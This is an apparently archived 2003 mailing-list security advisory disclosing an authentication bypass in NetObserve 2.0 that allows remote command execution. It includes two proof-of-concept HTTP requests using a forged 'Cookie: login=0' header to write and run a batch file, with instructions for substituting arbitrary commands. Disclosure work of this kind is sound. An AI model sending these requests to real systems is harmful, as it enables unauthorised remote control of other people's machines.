

[VulnWatch] NetObserve Security Bypass Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-12/0022.html>

From: Peter Winter-Smith (peter4020_at_hotmail.com)

Date: 12/30/03

To: bugs@securitytracker.com, bugtraq@securityfocus.com, news@securiteam.com, vuln@secunia.com, v

Date: Mon, 29 Dec 2003 23:30:24 +0000

NetObserve Security Bypass Vulnerability

#####

Credit:

Author : Peter Winter-Smith

Software:

Packages : NetObserve

Version : 2.0 and prior

Vendor : ExploreAnywhere Software

Vendor Url : <http://www.exploreanywhere.com/no-intro.php>

Vulnerability:

Bug Type : Security Bypass

Severity : Highly Critical

+ Remote System Command Via NetObserve

1. Description of Software

"NETObserve is your all in one solution to monitoring spouses, co-workers, children, employee's and just about any other person you may concerned of that is using your PC! NETObserve will monitor not only what is going on within your PC, but it can also record what is going on in front of your PC, through the use of our breakthrough web cam surveillance technology! With NETObserve on your side, you will have remote, realtime access to your PC, allowing you to remotely control and monitor a PC while you are away! Read on to find out why NETObserve is leading the way in the cutting edge industry of PC monitoring, surveillance, and administration!"

– Vendor's Description

2. Bug Information

(a). Security Bypass

VulnWatch: [VulnWatch] NetObserve Security Bypass Vulnerability

NetObserve is extremely persistent when trying to ensure that any remote user issuing commands to the server is properly authenticated. It seems that even if the remote administrator closes his or her browser they are required to login again before they can gain control of the remote system.

Once a legitimate session with an administrator has been established, the browser confirms that the commands which the remote user is issuing are allowed to be performed on the remote system by sending a special HTTP header to the NetObserve server.

The only problem with this is the fact that any remote user can attach the special header directly to their own specially crafted request, and NetObserve blindly believes that a session with an administrator was already in progress.

The special header in question is nothing more than 'Cookie: login=0!'

3. Proof of Concept Code

The following two HTTP requests will execute commands via the windows command interpreter on the remote system:

REQUEST #1:

```
POST /sendeditfile HTTP/1.1
Accept: */*
Referer: http://127.0.0.1/editfile=?C:\WINDOWS\win.bat?
Content-Type: application/x-www-form-urlencoded
Host: AnyHostWillDo
Content-Length: 25
Cookie: login=0
```

```
newfiledata=cmd+%2Fc+calc
```

REQUEST #2:

```
GET /runfile=?C:\windows\win.bat? HTTP/1.1
Accept: */*
Host: AnyHostWillDo
Cookie: login=0
```

To change the commands to be run, just alter the 'Content-Length' of the first request to be the length of the line of commands, including the string 'newfiledata='.

Then alter the data being posted under 'newfiledata', remembering to replace spaces with '+' and encode any common HTTP characters, like '/'

VulnWatch: [VulnWatch] NetObserve Security Bypass Vulnerability

as hexadecimal values, '%2F' in this instance.

These specific requests sent unaltered will execute the windows calculator.

4. Patches – Workarounds

No fixes are available at the time of writing. It is suggested that you use a different, more secure remote administration software package until a patch is released.

5. Credits

The discovery, analysis and exploitation of this flaw is a result of research carried out by Peter Winter-Smith. I would ask that you do not regard any of the analysis to be 'set in stone', and that if investigating this flaw you back trace the steps detailed earlier for yourself.

Greetings and thanks to:

David and Mark Litchfield, JJ Gray (Nexus), Todd and all the packetstorm crew, Luigi Auriemma, Bahaa Naamneh, sean(gilbert(perlboy)), pv8man, nick k., Joel J. and Martine.

o This document should be mirrored at:

– <http://www.elitehaven.net/netobserve.txt>

Find a cheaper internet access deal – choose one to suit you.

<http://www.msn.co.uk/internetaccess>